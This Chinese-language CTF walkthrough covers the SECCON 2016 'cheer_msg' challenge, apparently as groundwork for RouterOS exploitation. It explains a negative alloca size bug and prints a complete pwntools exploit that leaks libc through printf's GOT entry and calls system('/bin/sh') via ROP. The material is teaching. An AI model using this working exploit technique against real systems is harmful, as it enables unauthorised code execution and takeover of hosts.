一步一步 Pwn RouterOS之CTF题练手
字数 1045 2025-08-25 22:59:03
Pwn RouterOS之CTF题练手教学文档
前言
本文基于Seccon CTF quals 2016的一道CTF题目,通过分析该题目为后续分析RouterOS漏洞和编写exploit打下基础。题目涉及alloca函数的使用、栈指针操作和ROP技术。
题目分析
主要函数逻辑
-
main函数:
- 获取用户输入的数字(num)
- 将输入的数字加30后传递给alloca函数分配栈空间
- 调用message函数,传递参数为esp+23和num
-
message函数:
- 读取n个字符到buf(由alloca分配)
- 读取0x40个字符到局部变量t_buf
关键漏洞点
-
alloca函数特性:
- alloca从栈上分配内存,通过
sub esp, *实现 - 如果传入负数,
sub esp, eax相当于add esp, |eax|,会将栈指针向栈底移动
- alloca从栈上分配内存,通过
-
漏洞利用:
- 输入负数num可以控制esp向栈底移动
- 栈底存储着返回地址,通过message函数中的缓冲区可以覆盖返回地址
- 由于fgets的安全检查,不能直接利用输入函数,但可以通过message的局部缓冲区t_buf写入数据
漏洞利用步骤
1. 控制栈指针
- 输入一个负数(如-140)使esp向栈底移动
- 通过动态调试确定精确的偏移量:
- 先输入一个较小的负数(如-32)
- 计算数据地址与返回地址的距离
- 调整输入值直到能覆盖返回地址
2. 构造ROP链
-
第一阶段:
- 使用printf泄露GOT表中printf的地址
- 计算libc基地址
- 返回到程序起点重新触发漏洞
-
第二阶段:
- 计算system和"/bin/sh"的实际地址
- 再次触发漏洞,调用system("sh")获取shell
3. 精确偏移计算
- 使用pwntools的cyclic工具确定精确的padding长度
- 动态调试在关键点设置断点(如0x0804860E)观察esp变化
完整Exploit代码
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg")
binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
# 调试断点
gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''')
# 第一阶段:泄露libc地址
r.recvuntil("Length >> ")
r.sendline("-140") # 控制esp向栈底移动
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf']) # 调用printf
payload += p32(binary.entry) # 返回到程序起点
payload += p32(binary.got['printf']) # printf的参数
r.sendline(payload)
r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
# 计算libc基址和关键函数地址
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']
log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))
# 第二阶段:获取shell
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(system) # 调用system
payload += p32(binary.entry)
payload += p32(sh) # system的参数
r.sendline(payload)
r.interactive()
关键知识点总结
-
alloca函数:
- 在栈上分配内存,通过调整esp实现
- 接受有符号整数参数,负数会导致esp增加
-
栈指针操作:
- 通过控制esp可以访问栈上的任意位置
- 需要精确计算偏移量以覆盖关键数据
-
ROP技术:
- 利用现有代码片段构造攻击链
- 分阶段利用:先泄露地址,再执行最终攻击
-
动态调试技巧:
- 使用gdb在关键点设置断点
- 观察寄存器变化,特别是esp
- 使用cyclic工具确定精确偏移